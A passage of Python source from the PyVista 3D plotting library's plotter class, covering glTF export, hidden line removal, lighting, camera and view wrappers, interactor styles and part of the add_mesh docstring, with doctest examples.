"ren_win"): raise RuntimeError('This plotter has been closed and is unable to export ' 'the scene.') from vtkmodules.vtkIOExport import vtkGLTFExporter # rotate scene to gltf compatible view if rotate_scene: for renderer in self.renderers: for actor in renderer.actors.values(): if hasattr(actor, 'RotateX'): actor.RotateX(-90) actor.RotateZ(-90) if save_normals: try: mapper = actor.GetMapper() if mapper is None: continue dataset = mapper.GetInputAsDataSet() if 'Normals' in dataset.point_data: # ensure normals are active normals = dataset.point_data['Normals'] dataset.point_data.active_normals = normals.copy() except: pass exporter = vtkGLTFExporter() exporter.SetRenderWindow(self.ren_win) exporter.SetFileName(filename) exporter.SetInlineData(inline_data) exporter.SetSaveNormal(save_normals) exporter.Update() # rotate back if applicable if rotate_scene: for renderer in self.renderers: for actor in renderer.actors.values(): if hasattr(actor, 'RotateX'): actor.RotateZ(90) actor.RotateX(90) def enable_hidden_line_removal(self, all_renderers=True): """Enable hidden line removal. Wireframe geometry will be drawn using hidden line removal if the rendering engine supports it. Disable this with :func:`disable_hidden_line_removal <BasePlotter.disable_hidden_line_removal>` Parameters ---------- all_renderers : bool If ``True``, applies to all renderers in subplots. If ``False``, then only applies to the active renderer. Examples -------- Create a side-by-side plotter and render a sphere in wireframe with hidden line removal enabled on the left and disabled on the right. >>> import pyvista >>> sphere = pyvista.Sphere(theta_resolution=20, phi_resolution=20) >>> pl = pyvista.Plotter(shape=(1, 2)) >>> _ = pl.add_mesh(sphere, line_width=3, style='wireframe') >>> _ = pl.add_text("With hidden line removal") >>> pl.enable_hidden_line_removal(all_renderers=False) >>> pl.subplot(0, 1) >>> pl.disable_hidden_line_removal(all_renderers=False) >>> _ = pl.add_mesh(sphere, line_width=3, style='wireframe') >>> _ = pl.add_text("Without hidden line removal") >>> pl.show() """ if all_renderers: for renderer in self.renderers: renderer.enable_hidden_line_removal() else: self.renderer.enable_hidden_line_removal() def disable_hidden_line_removal(self, all_renderers=True): """Disable hidden line removal. Enable again with :func:`enable_hidden_line_removal <BasePlotter.enable_hidden_line_removal>` Parameters ---------- all_renderers : bool If ``True``, applies to all renderers in subplots. If ``False``, then only applies to the active renderer. Examples -------- Enable and then disable hidden line removal. >>> import pyvista >>> pl = pyvista.Plotter() >>> pl.enable_hidden_line_removal() >>> pl.disable_hidden_line_removal() """ if all_renderers: for renderer in self.renderers: renderer.disable_hidden_line_removal() else: self.renderer.disable_hidden_line_removal() @property def scalar_bar(self): """First scalar bar. Kept for backwards compatibility.""" return list(self.scalar_bars.values())[0] @property def scalar_bars(self): """Scalar bars. Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> sphere['Data'] = sphere.points[:, 2] >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(sphere) >>> plotter.scalar_bars Scalar Bar Title Interactive "Data" False Select a scalar bar actor based on the title of the bar. >>> plotter.scalar_bars['Data'] # doctest:+SKIP (vtkmodules.vtkRenderingAnnotation.vtkScalarBarActor)0x7fcd3567ca00 """ return self._scalar_bars @property def _before_close_callback(self): """Return the cached function (expecting a reference).""" if self.__before_close_callback is not None: return self.__before_close_callback() @_before_close_callback.setter def _before_close_callback(self, func): """Store a weakref.ref of the function being called.""" if func is not None: self.__before_close_callback = weakref.ref(func) else: self.__before_close_callback = None @property def shape(self): """Shape of the plotter. Examples -------- Return the plotter shape. >>> import pyvista >>> plotter = pyvista.Plotter(shape=(2, 2)) >>> plotter.shape (2, 2) """ return self.renderers._shape @property def renderer(self): """Return the active renderer. Examples -------- >>> import pyvista >>> pl = pyvista.Plotter() >>> pl.renderer # doctest:+SKIP (Renderer)0x7f916129bfa0 """ return self.renderers.active_renderer @property def store_image(self): """Store last rendered frame on close. This is normally disabled to avoid caching the image, and is enabled by default by setting: ``pyvista.BUILDING_GALLERY = True`` Examples -------- >>> import pyvista >>> pl = pyvista.Plotter(off_screen=True) >>> pl.store_image = True >>> _ = pl.add_mesh(pyvista.Cube()) >>> pl.show() >>> image = pl.last_image >>> type(image) # doctest:+SKIP <class 'numpy.ndarray'> """ return self._store_image @store_image.setter def store_image(self, value): """Store last rendered frame on close.""" self._store_image = bool(value) def subplot(self, index_row, index_column=None): """Set the active subplot. Parameters ---------- index_row : int Index of the subplot to activate along the rows. index_column : int Index of the subplot to activate along the columns. Examples -------- Create a 2 wide plot and set the background of right-hand plot to orange. Add a cube to the left plot and a sphere to the right. >>> import pyvista >>> pl = pyvista.Plotter(shape=(1, 2)) >>> actor = pl.add_mesh(pyvista.Cube()) >>> pl.subplot(0, 1) >>> actor = pl.add_mesh(pyvista.Sphere()) >>> pl.set_background('orange', all_renderers=False) >>> pl.show() """ self.renderers.set_active_renderer(index_row, index_column) @wraps(Renderer.add_floor) def add_floor(self, *args, **kwargs): """Wrap ``Renderer.add_floor``.""" return self.renderer.add_floor(*args, **kwargs) @wraps(Renderer.remove_floors) def remove_floors(self, *args, **kwargs): """Wrap ``Renderer.remove_floors``.""" return self.renderer.remove_floors(*args, **kwargs) def enable_3_lights(self, only_active=False): """Enable 3-lights illumination. This will replace all pre-existing lights in the scene. Parameters ---------- only_active : bool If ``True``, only change the active renderer. The default is that every renderer is affected. Examples -------- >>> from pyvista import demos >>> pl = demos.orientation_plotter() >>> pl.enable_3_lights() >>> pl.show() Note how this varies from the default plotting. >>> pl = demos.orientation_plotter() >>> pl.show() """ def _to_pos(elevation, azimuth): theta = azimuth * np.pi / 180.0 phi = (90.0 - elevation) * np.pi / 180.0 x = np.sin(theta) * np.sin(phi) y = np.cos(phi) z = np.cos(theta) * np.sin(phi) return x, y, z renderers = [self.renderer] if only_active else self.renderers for renderer in renderers: renderer.remove_all_lights() # Inspired from Mayavi's version of Raymond Maple 3-lights illumination intensities = [1, 0.6, 0.5] all_angles = [(45.0, 45.0), (-30.0, -60.0), (-30.0, 60.0)] for intensity, angles in zip(intensities, all_angles): light = pyvista.Light(light_type='camera light') light.intensity = intensity light.position = _to_pos(*angles) for renderer in renderers: renderer.add_light(light) def disable_3_lights(self): """Please use ``enable_lightkit``, this method has been depreciated.""" from pyvista.core.errors import DeprecationError raise DeprecationError('DEPRECATED: Please use ``enable_lightkit``') def enable_lightkit(self, only_active=False): """Enable the default light-kit lighting. See: https://www.researchgate.net/publication/2926068 This will replace all pre-existing lights in the renderer. Parameters ---------- only_active : bool If ``True``, only change the active renderer. The default is that every renderer is affected. Examples -------- Create a plotter without any lights and then enable the default light kit. >>> import pyvista >>> pl = pyvista.Plotter(lighting=None) >>> pl.enable_lightkit() >>> actor = pl.add_mesh(pyvista.Cube(), show_edges=True) >>> pl.show() """ renderers = [self.renderer] if only_active else self.renderers light_kit = _vtk.vtkLightKit() for renderer in renderers: renderer.remove_all_lights() # Use the renderer as a vtkLightKit parser. # Feed it the LightKit, pop off the vtkLights, put back # pyvista Lights. This is the price we must pay for using # inheritance rather than composition. light_kit.AddLightsToRenderer(renderer) vtk_lights = renderer.lights renderer.remove_all_lights() for vtk_light in vtk_lights: light = pyvista.Light.from_vtk(vtk_light) renderer.add_light(light) renderer.LightFollowCameraOn() @wraps(Renderer.enable_anti_aliasing) def enable_anti_aliasing(self, *args, **kwargs): """Wrap ``Renderer.enable_anti_aliasing``.""" for renderer in self.renderers: renderer.enable_anti_aliasing(*args, **kwargs) @wraps(Renderer.disable_anti_aliasing) def disable_anti_aliasing(self, *args, **kwargs): """Wrap ``Renderer.disable_anti_aliasing``.""" self.renderer.disable_anti_aliasing(*args, **kwargs) @wraps(Renderer.set_focus) def set_focus(self, *args, **kwargs): """Wrap ``Renderer.set_focus``.""" log.debug('set_focus: %s, %s', str(args), str(kwargs)) self.renderer.set_focus(*args, **kwargs) self.render() @wraps(Renderer.set_position) def set_position(self, *args, **kwargs): """Wrap ``Renderer.set_position``.""" self.renderer.set_position(*args, **kwargs) self.render() @wraps(Renderer.set_viewup) def set_viewup(self, *args, **kwargs): """Wrap ``Renderer.set_viewup``.""" self.renderer.set_viewup(*args, **kwargs) self.render() @wraps(Renderer.add_orientation_widget) def add_orientation_widget(self, *args, **kwargs): """Wrap ``Renderer.add_orientation_widget``.""" return self.renderer.add_orientation_widget(*args, **kwargs) @wraps(Renderer.add_axes) def add_axes(self, *args, **kwargs): """Wrap ``Renderer.add_axes``.""" return self.renderer.add_axes(*args, **kwargs) @wraps(Renderer.hide_axes) def hide_axes(self, *args, **kwargs): """Wrap ``Renderer.hide_axes``.""" return self.renderer.hide_axes(*args, **kwargs) @wraps(Renderer.show_axes) def show_axes(self, *args, **kwargs): """Wrap ``Renderer.show_axes``.""" return self.renderer.show_axes(*args, **kwargs) @wraps(Renderer.update_bounds_axes) def update_bounds_axes(self, *args, **kwargs): """Wrap ``Renderer.update_bounds_axes``.""" return self.renderer.update_bounds_axes(*args, **kwargs) @wraps(Renderer.add_actor) def add_actor(self, *args, **kwargs): """Wrap ``Renderer.add_actor``.""" return self.renderer.add_actor(*args, **kwargs) @wraps(Renderer.enable_parallel_projection) def enable_parallel_projection(self, *args, **kwargs): """Wrap ``Renderer.enable_parallel_projection``.""" return self.renderer.enable_parallel_projection(*args, **kwargs) @wraps(Renderer.disable_parallel_projection) def disable_parallel_projection(self, *args, **kwargs): """Wrap ``Renderer.disable_parallel_projection``.""" return self.renderer.disable_parallel_projection(*args, **kwargs) @wraps(Renderer.enable_shadows) def enable_shadows(self, *args, **kwargs): """Wrap ``Renderer.enable_shadows``.""" return self.renderer.enable_shadows(*args, **kwargs) @wraps(Renderer.disable_shadows) def disable_shadows(self, *args, **kwargs): """Wrap ``Renderer.disable_shadows``.""" return self.renderer.disable_shadows(*args, **kwargs) @property def parallel_projection(self): """Return parallel projection state of active render window.""" return self.renderer.parallel_projection @parallel_projection.setter def parallel_projection(self, state): """Set parallel projection state of all active render windows.""" self.renderer.parallel_projection = state @property def parallel_scale(self): """Return parallel scale of active render window.""" return self.renderer.parallel_scale @parallel_scale.setter def parallel_scale(self, value): """Set parallel scale of all active render windows.""" self.renderer.parallel_scale = value @wraps(Renderer.add_axes_at_origin) def add_axes_at_origin(self, *args, **kwargs): """Wrap ``Renderer.add_axes_at_origin``.""" return self.renderer.add_axes_at_origin(*args, **kwargs) @wraps(Renderer.show_bounds) def show_bounds(self, *args, **kwargs): """Wrap ``Renderer.show_bounds``.""" return self.renderer.show_bounds(*args, **kwargs) @wraps(Renderer.add_bounding_box) def add_bounding_box(self, *args, **kwargs): """Wrap ``Renderer.add_bounding_box``.""" return self.renderer.add_bounding_box(*args, **kwargs) @wraps(Renderer.remove_bounding_box) def remove_bounding_box(self, *args, **kwargs): """Wrap ``Renderer.remove_bounding_box``.""" return self.renderer.remove_bounding_box(*args, **kwargs) @wraps(Renderer.remove_bounds_axes) def remove_bounds_axes(self, *args, **kwargs): """Wrap ``Renderer.remove_bounds_axes``.""" return self.renderer.remove_bounds_axes(*args, **kwargs) @wraps(Renderer.show_grid) def show_grid(self, *args, **kwargs): """Wrap ``Renderer.show_grid``.""" return self.renderer.show_grid(*args, **kwargs) @wraps(Renderer.set_scale) def set_scale(self, *args, **kwargs): """Wrap ``Renderer.set_scale``.""" return self.renderer.set_scale(*args, **kwargs) @wraps(Renderer.enable_eye_dome_lighting) def enable_eye_dome_lighting(self, *args, **kwargs): """Wrap ``Renderer.enable_eye_dome_lighting``.""" return self.renderer.enable_eye_dome_lighting(*args, **kwargs) @wraps(Renderer.disable_eye_dome_lighting) def disable_eye_dome_lighting(self, *args, **kwargs): """Wrap ``Renderer.disable_eye_dome_lighting``.""" self.renderer.disable_eye_dome_lighting(*args, **kwargs) @wraps(Renderer.reset_camera) def reset_camera(self, *args, **kwargs): """Wrap ``Renderer.reset_camera``.""" self.renderer.reset_camera(*args, **kwargs) self.render() @wraps(Renderer.isometric_view) def isometric_view(self, *args, **kwargs): """Wrap ``Renderer.isometric_view``.""" self.renderer.isometric_view(*args, **kwargs) @wraps(Renderer.view_isometric) def view_isometric(self, *args, **kwarg): """Wrap ``Renderer.view_isometric``.""" self.renderer.view_isometric(*args, **kwarg) @wraps(Renderer.view_vector) def view_vector(self, *args, **kwarg): """Wrap ``Renderer.view_vector``.""" self.renderer.view_vector(*args, **kwarg) @wraps(Renderer.view_xy) def view_xy(self, *args, **kwarg): """Wrap ``Renderer.view_xy``.""" self.renderer.view_xy(*args, **kwarg) @wraps(Renderer.view_yx) def view_yx(self, *args, **kwarg): """Wrap ``Renderer.view_yx``.""" self.renderer.view_yx(*args, **kwarg) @wraps(Renderer.view_xz) def view_xz(self, *args, **kwarg): """Wrap ``Renderer.view_xz``.""" self.renderer.view_xz(*args, **kwarg) @wraps(Renderer.view_zx) def view_zx(self, *args, **kwarg): """Wrap ``Renderer.view_zx``.""" self.renderer.view_zx(*args, **kwarg) @wraps(Renderer.view_yz) def view_yz(self, *args, **kwarg): """Wrap ``Renderer.view_yz``.""" self.renderer.view_yz(*args, **kwarg) @wraps(Renderer.view_zy) def view_zy(self, *args, **kwarg): """Wrap ``Renderer.view_zy``.""" self.renderer.view_zy(*args, **kwarg) @wraps(Renderer.disable) def disable(self, *args, **kwarg): """Wrap ``Renderer.disable``.""" self.renderer.disable(*args, **kwarg) @wraps(Renderer.enable) def enable(self, *args, **kwarg): """Wrap ``Renderer.enable``.""" self.renderer.enable(*args, **kwarg) @wraps(Renderer.enable_depth_peeling) def enable_depth_peeling(self, *args, **kwargs): """Wrap ``Renderer.enable_depth_peeling``.""" if hasattr(self, 'ren_win'): result = self.renderer.enable_depth_peeling(*args, **kwargs) if result: self.ren_win.AlphaBitPlanesOn() return result @wraps(Renderer.disable_depth_peeling) def disable_depth_peeling(self): """Wrap ``Renderer.disable_depth_peeling``.""" if hasattr(self, 'ren_win'): self.ren_win.AlphaBitPlanesOff() return self.renderer.disable_depth_peeling() @wraps(Renderer.get_default_cam_pos) def get_default_cam_pos(self, *args, **kwargs): """Wrap ``Renderer.get_default_cam_pos``.""" return self.renderer.get_default_cam_pos(*args, **kwargs) @wraps(Renderer.remove_actor) def remove_actor(self, *args, **kwargs): """Wrap ``Renderer.remove_actor``.""" for renderer in self.renderers: renderer.remove_actor(*args, **kwargs) return True @wraps(Renderer.set_environment_texture) def set_environment_texture(self, *args, **kwargs): """Wrap ``Renderer.set_environment_texture``.""" return self.renderer.set_environment_texture(*args, **kwargs) #### Properties from Renderer #### @property def camera(self): """Return the active camera of the active renderer.""" if not self.camera_set: self.camera_position = self.get_default_cam_pos() self.reset_camera() self.camera_set = True return self.renderer.camera @camera.setter def camera(self, camera): """Set the active camera for the rendering scene.""" self.renderer.camera = camera @property def camera_set(self): """Return if the camera of the active renderer has been set.""" return self.renderer.camera_set @camera_set.setter def camera_set(self, is_set): """Set if the camera has been set on the active renderer.""" self.renderer.camera_set = is_set @property def bounds(self): """Return the bounds of the active renderer.""" return self.renderer.bounds @property def length(self): """Return the length of the diagonal of the bounding box of the scene.""" return self.renderer.length @property def center(self): """Return the center of the active renderer.""" return self.renderer.center @property def _scalar_bar_slots(self): """Return the scalar bar slots of the active renderer.""" return self.renderer._scalar_bar_slots @_scalar_bar_slots.setter def _scalar_bar_slots(self, value): """Set the scalar bar slots of the active renderer.""" self.renderer._scalar_bar_slots = value @property def _scalar_bar_slot_lookup(self): """Return the scalar bar slot lookup of the active renderer.""" return self.renderer._scalar_bar_slot_lookup @_scalar_bar_slot_lookup.setter def _scalar_bar_slot_lookup(self, value): """Set the scalar bar slot lookup of the active renderer.""" self.renderer._scalar_bar_slot_lookup = value @property def scale(self): """Return the scaling of the active renderer.""" return self.renderer.scale @scale.setter def scale(self, scale): """Set the scaling of the active renderer.""" self.renderer.set_scale(*scale) @property def camera_position(self): """Return camera position of the active render window.""" return self.renderer.camera_position @camera_position.setter def camera_position(self, camera_location): """Set camera position of the active render window.""" self.renderer.camera_position = camera_location @property def background_color(self): """Return the background color of the active render window.""" return self.renderers.active_renderer.GetBackground() @background_color.setter def background_color(self, color): """Set the background color of all the render windows.""" self.set_background(color) @property def window_size(self): """Return the render window size in ``(width, height)``. Examples -------- Change the window size from ``200 x 200`` to ``400 x 400``. >>> import pyvista >>> pl = pyvista.Plotter(window_size=[200, 200]) >>> pl.window_size [200, 200] >>> pl.window_size = [400, 400] >>> pl.window_size [400, 400] """ return list(self.ren_win.GetSize()) @window_size.setter def window_size(self, window_size): """Set the render window size.""" self.ren_win.SetSize(window_size[0], window_size[1]) @property def image_depth(self): """Return a depth image representing current render window. Helper attribute for ``get_image_depth``. """ return self.get_image_depth() def _check_rendered(self): """Check if the render window has been shown and raise an exception if not.""" if not self._rendered: raise AttributeError('\nThis plotter has not yet been setup and rendered ' 'with ``show()``.\n' 'Consider setting ``off_screen=True`` ' 'for off screen rendering.\n') def _check_has_ren_win(self): """Check if render window attribute exists and raise an exception if not.""" if not hasattr(self, 'ren_win'): raise AttributeError('\n\nTo retrieve an image after the render window ' 'has been closed, set:\n\n' ' ``plotter.store_image = True``\n\n' 'before closing the plotter.') @property def image(self): """Return an image array of current render window. To retrieve an image after the render window has been closed, set: ``plotter.store_image = True`` before closing the plotter. """ if not hasattr(self, 'ren_win') and self.last_image is not None: return self.last_image self._check_rendered() self._check_has_ren_win() data = image_from_window(self.ren_win) if self.image_transparent_background: return data # ignore alpha channel return data[:, :, :-1] def render(self): """Render the main window. Does nothing until ``show`` has been called. """ if hasattr(self, 'ren_win') and not self._first_time: log.debug('Rendering') self.ren_win.Render() self._rendered = True @wraps(RenderWindowInteractor.add_key_event) def add_key_event(self, *args, **kwargs): """Wrap RenderWindowInteractor.add_key_event.""" if hasattr(self, 'iren'): self.iren.add_key_event(*args, **kwargs) def clear_events_for_key(self, key): """Remove the callbacks associated to the key. Parameters ---------- key : str Key to clear events for. """ self.iren.clear_events_for_key(key) def store_mouse_position(self, *args): """Store mouse position.""" if not hasattr(self, "iren"): raise AttributeError("This plotting window is not interactive.") self.mouse_position = self.iren.get_event_position() def store_click_position(self, *args): """Store click position in viewport coordinates.""" if not hasattr(self, "iren"): raise AttributeError("This plotting window is not interactive.") self.click_position = self.iren.get_event_position() self.mouse_position = self.click_position def track_mouse_position(self): """Keep track of the mouse position. This will potentially slow down the interactor. No callbacks supported here - use :func:`pyvista.BasePlotter.track_click_position` instead. """ self.iren.track_mouse_position(self.store_mouse_position) def untrack_mouse_position(self): """Stop tracking the mouse position.""" self.iren.untrack_mouse_position() @wraps(RenderWindowInteractor.track_click_position) def track_click_position(self, *args, **kwargs): """Wrap RenderWindowInteractor.track_click_position.""" self.iren.track_click_position(*args, **kwargs) def untrack_click_position(self): """Stop tracking the click position.""" self.iren.untrack_click_position() def _prep_for_close(self): """Make sure a screenshot is acquired before closing. This doesn't actually close anything! It just preps the plotter for closing. """ # Grab screenshot right before renderer closes self.last_image = self.screenshot(True, return_img=True) self.last_image_depth = self.get_image_depth() def increment_point_size_and_line_width(self, increment): """Increment point size and line width of all actors. For every actor in the scene, increment both its point size and line width by the given value. Parameters ---------- increment : float Amount to increment point size and line width. """ for renderer in self.renderers: for actor in renderer._actors.values(): if hasattr(actor, "GetProperty"): prop = actor.GetProperty() if hasattr(prop, "SetPointSize"): prop.SetPointSize(prop.GetPointSize() + increment) if hasattr(prop, "SetLineWidth"): prop.SetLineWidth(prop.GetLineWidth() + increment) self.render() return def reset_key_events(self): """Reset all of the key press events to their defaults.""" if hasattr(self, 'iren'): self.iren.clear_key_event_callbacks() self.add_key_event('q', self._prep_for_close) # Add no matter what b_left_down_callback = lambda: self.iren.add_observer('LeftButtonPressEvent', self.left_button_down) self.add_key_event('b', b_left_down_callback) self.add_key_event('v', lambda: self.isometric_view_interactive()) self.add_key_event('C', lambda: self.enable_cell_picking()) self.add_key_event('Up', lambda: self.camera.Zoom(1.05)) self.add_key_event('Down', lambda: self.camera.Zoom(0.95)) self.add_key_event('plus', lambda: self.increment_point_size_and_line_width(1)) self.add_key_event('minus', lambda: self.increment_point_size_and_line_width(-1)) @wraps(RenderWindowInteractor.key_press_event) def key_press_event(self, *args, **kwargs): """Wrap RenderWindowInteractor.key_press_event.""" self.iren.key_press_event(*args, **kwargs) def left_button_down(self, obj, event_type): """Register the event for a left button down click.""" if hasattr(self.ren_win, 'GetOffScreenFramebuffer'): if not self.ren_win.GetOffScreenFramebuffer().GetFBOIndex(): # must raise a runtime error as this causes a segfault on VTK9 raise ValueError('Invoking helper with no framebuffer') # Get 2D click location on window click_pos = self.iren.get_event_position() # Get corresponding click location in the 3D plot picker = _vtk.vtkWorldPointPicker() picker.Pick(click_pos[0], click_pos[1], 0, self.renderer) self.pickpoint = np.asarray(picker.GetPickPosition()).reshape((-1, 3)) if np.any(np.isnan(self.pickpoint)): self.pickpoint[:] = 0 @wraps(RenderWindowInteractor.enable_trackball_style) def enable_trackball_style(self): """Wrap RenderWindowInteractor.enable_trackball_style.""" self.iren.enable_trackball_style() @wraps(RenderWindowInteractor.enable_trackball_actor_style) def enable_trackball_actor_style(self): """Wrap RenderWindowInteractor.enable_trackball_actor_style.""" self.iren.enable_trackball_actor_style() @wraps(RenderWindowInteractor.enable_image_style) def enable_image_style(self): """Wrap RenderWindowInteractor.enable_image_style.""" self.iren.enable_image_style() @wraps(RenderWindowInteractor.enable_joystick_style) def enable_joystick_style(self): """Wrap RenderWindowInteractor.enable_joystick_style.""" self.iren.enable_joystick_style() @wraps(RenderWindowInteractor.enable_joystick_actor_style) def enable_joystick_actor_style(self): """Wrap RenderWindowInteractor.enable_joystick_actor_style.""" self.iren.enable_joystick_actor_style() @wraps(RenderWindowInteractor.enable_zoom_style) def enable_zoom_style(self): """Wrap RenderWindowInteractor.enable_zoom_style.""" self.iren.enable_zoom_style() @wraps(RenderWindowInteractor.enable_terrain_style) def enable_terrain_style(self, *args, **kwargs): """Wrap RenderWindowInteractor.enable_terrain_style.""" self.iren.enable_terrain_style(*args, **kwargs) @wraps(RenderWindowInteractor.enable_rubber_band_style) def enable_rubber_band_style(self): """Wrap RenderWindowInteractor.enable_rubber_band_style.""" self.iren.enable_rubber_band_style() @wraps(RenderWindowInteractor.enable_rubber_band_2d_style) def enable_rubber_band_2d_style(self): """Wrap RenderWindowInteractor.enable_rubber_band_2d_style.""" self.iren.enable_rubber_band_2d_style() def hide_axes_all(self): """Hide the axes orientation widget in all renderers.""" for renderer in self.renderers: renderer.hide_axes() def show_axes_all(self): """Show the axes orientation widget in all renderers.""" for renderer in self.renderers: renderer.show_axes() def isometric_view_interactive(self): """Set the current interactive render window to isometric view.""" interactor = self.iren.get_interactor_style() renderer = interactor.GetCurrentRenderer() if renderer is None: renderer = self.renderer renderer.view_isometric() def update(self, stime=1, force_redraw=True): """Update window, redraw, process messages query. Parameters ---------- stime : int, optional Duration of timer that interrupt vtkRenderWindowInteractor in milliseconds. force_redraw : bool, optional Call ``render`` immediately. """ if stime <= 0: stime = 1 curr_time = time.time() if Plotter.last_update_time > curr_time: Plotter.last_update_time = curr_time if self.iren is not None: update_rate = self.iren.get_desired_update_rate() if (curr_time - Plotter.last_update_time) > (1.0/update_rate): self.right_timer_id = self.iren.create_repeating_timer(stime) self.render() Plotter.last_update_time = curr_time return if force_redraw: self.render() def add_mesh(self, mesh, color=None, style=None, scalars=None, clim=None, show_edges=None, edge_color=None, point_size=5.0, line_width=None, opacity=1.0, flip_scalars=False, lighting=None, n_colors=256, interpolate_before_map=True, cmap=None, label=None, reset_camera=None, scalar_bar_args=None, show_scalar_bar=None, multi_colors=False, name=None, texture=None, render_points_as_spheres=None, render_lines_as_tubes=False, smooth_shading=None, ambient=0.0, diffuse=1.0, specular=0.0, specular_power=100.0, nan_color=None, nan_opacity=1.0, culling=None, rgb=None, categories=False, silhouette=False, use_transparency=False, below_color=None, above_color=None, annotations=None, pickable=True, preference="point", log_scale=False, pbr=False, metallic=0.0, roughness=0.5, render=True, component=None, **kwargs): """Add any PyVista/VTK mesh or dataset that PyVista can wrap to the scene. This method is using a mesh representation to view the surfaces and/or geometry of datasets. For volume rendering, see :func:`pyvista.BasePlotter.add_volume`. Parameters ---------- mesh : pyvista.DataSet or pyvista.MultiBlock Any PyVista or VTK mesh is supported. Also, any dataset that :func:`pyvista.wrap` can handle including NumPy arrays of XYZ points. color : str or 3 item list, optional, defaults to white Use to make the entire mesh have a single solid color. Either a string, RGB list, or hex color string. For example: ``color='white'``, ``color='w'``, ``color=[1, 1, 1]``, or ``color='#FFFFFF'``. Color will be overridden if scalars are specified. style : str, optional Visualization style of the mesh. One of the following: ``style='surface'``, ``style='wireframe'``, ``style='points'``. Defaults to ``'surface'``. Note that ``'wireframe'`` only shows a wireframe of the outer geometry. scalars : str or numpy.ndarray, optional Scalars used to "color" the mesh. Accepts a string name of an array that is present on the mesh or an array equal to the number of cells or the number of points in the mesh. Array should be sized as a single vector. If both ``color`` and ``scalars`` are ``None``, then the active scalars are used. clim : 2 item list, optional Color bar range for scalars. Defaults to minimum and maximum of scalars array. Example: ``[-1, 2]``. ``rng`` is also an accepted alias for this. show_edges : bool, optional Shows the edges of a mesh. Does not apply to a wireframe representation. edge_color : str or 3 item list, optional, defaults to black The solid color to give the edges when ``show_edges=True``. Either a string, RGB list, or hex color string. point_size : float, optional Point size of any nodes in the dataset plotted. Also applicable when style='points'. Default ``5.0``. line_width : float, optional Thickness of lines. Only valid for wireframe and surface representations. Default None. opacity : float, str, array-like Opacity of the mesh. If a single float value is given, it will be the global opacity of the mesh and uniformly applied everywhere - should be between 0 and 1. A string can also be specified to map the scalars range to a predefined opacity transfer function (options include: 'linear', 'linear_r', 'geom', 'geom_r'). A string could also be used to map a scalars array from the mesh to the opacity (must have same number of elements as the ``scalars`` argument). Or you can pass a custom made transfer function that is an array either ``n_colors`` in length or shorter. flip_scalars : bool, optional Flip direction of cmap. Most colormaps allow ``*_r`` suffix to do this as well. lighting : bool, optional Enable or disable view direction lighting. Default ``False``. n_colors : int, optional Number of colors to use when displaying scalars. Defaults to 256. The scalar bar will also have this many colors. interpolate_before_map : bool, optional Enabling makes for a smoother scalars display. Default is ``True``. When ``False``, OpenGL will interpolate the mapped colors which can result is showing colors that are not present in the color map. cmap : str, list, optional Name of the Matplotlib colormap to use when mapping the ``scalars``. See available Matplotlib colormaps. Only applicable for when displaying ``scalars``. Requires Matplotlib to be installed. ``colormap`` is also an accepted alias for this. If ``colorcet`` or ``cmocean`` are installed, their colormaps can be specified by name. You can also specify a list of colors to override an existing colormap with a custom one. For example, to create a three color colormap you might specify ``['green', 'red', 'blue']``. label : str, optional String label to use when adding a legend to the scene with :func:`pyvista.BasePlotter.add_legend`. reset_camera : bool, optional Reset the camera after adding this mesh to the scene. scalar_bar_args : dict, optional Dictionary of keyword arguments to pass when adding the scalar bar to the scene. For options, see :func:`pyvista.BasePlotter.add_scalar_bar`. show_scalar_bar : bool If ``False``, a scalar bar will not be added to the scene. Defaults to ``True``. multi_colors : bool, optional If a ``MultiBlock`` dataset is given this will color each block by a solid color using matplotlib's color cycler. name : str, optional The name for the added mesh/actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. texture : vtk.vtkTexture or np.ndarray or bool, optional A texture to apply if the input mesh has texture coordinates. This will not work with MultiBlock datasets. If set to ``True``, the first available texture on the object will be used. If a string name is given, it will pull a texture with that name associated to the input mesh. render_points_as_spheres : bool, optional Render points as spheres rather than dots. render_lines_as_tubes : bool, optional Show lines as thick tubes rather than flat lines. Control the width with ``line_width``. smooth_shading : bool, optional Enable smooth shading when ``True`` using either the Gouraud or Phong shading algorithm. When ``False``, use flat shading. Automatically enabled when ``pbr=True``. ambient : float, optional When lighting is enabled, this is the amount of light in the range of 0 to 1 (default 0.0) that reaches the actor when not directed at the light source emitted from the viewer. diffuse : float, optional The diffuse lighting coefficient. Default 1.0. specular : float, optional The specular lighting coefficient. Default 0.0. specular_power : float, optional The specular power. Between 0.0 and 128.0. nan_color : str or 3 item list, optional, defaults to gray The color to use for all ``NaN`` values in the plotted scalar array. nan_opacity : float, optional Opacity of ``NaN`` values. Should be between 0 and 1. Default 1.0. culling : str, optional Does not render faces that are culled. Options are ``'front'`` or ``'back'``. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Defaults to ``False``. rgb : bool, optional If an 2 dimensional array is passed as the scalars, plot those values as RGB(A) colors. ``rgba`` is also an accepted alias for this. Opacity (the A) is optional. If a scalars array ending with ``"_rgba"`` is passed, the default becomes ``True``. This can be overridden by setting this parameter to ``False``. categories : bool, optional If set to ``True``, then the number of unique values in the scalar array will be used as the ``n_colors`` argument. silhouette : dict, bool, optional If set to ``True``, plot a silhouette highlight for the mesh. This feature is only available for a triangulated ``PolyData``. As a ``dict``, it contains the properties of the silhouette to display: * ``color``: ``str`` or 3-item ``list``, color of the silhouette * ``line_width``: ``float``, edge width * ``opacity``: ``float`` between 0 and 1, edge transparency * ``feature_angle``: If a ``float``, display sharp edges exceeding that angle in degrees. * ``decimate``: ``float`` between 0 and 1, level of decimation use_transparency : bool, optional Invert the opacity mappings and make the values correspond to transparency. below_color : str or 3 item list, optional Solid color for values below the scalars range (``clim``). This will automatically set the scalar bar ``below_label`` to ``'Below'``. above_color : str or 3 item list, optional Solid color for values below the scalars range (``clim``). This will automatically set the scalar bar ``above_label`` to ``'Above'``. annotations : dict, optional Pass a dictionary of annotations. Keys are the float values in the scalars range to annotate on the scalar bar and the values are the the string annotations. pickable : bool, optional Set whether this actor is pickable. preference : str, optional When ``mesh.n_points == mesh.n_cells`` and setting scalars, this parameter sets how the scalars will be mapped to the mesh. Default ``'points'``, causes the scalars will be associated with the mesh points. Can be either ``'points'`` or ``'cells'``. log_scale : bool, optional Use log scale when mapping data to colors. Scalars less than zero are mapped to the smallest representable positive float. Default: ``True``. pbr : bool, optional Enable physics based rendering (PBR) if the mesh is ``PolyData``. Use the ``color`` argument to set the base color. This is only available in VTK>=9. metallic : 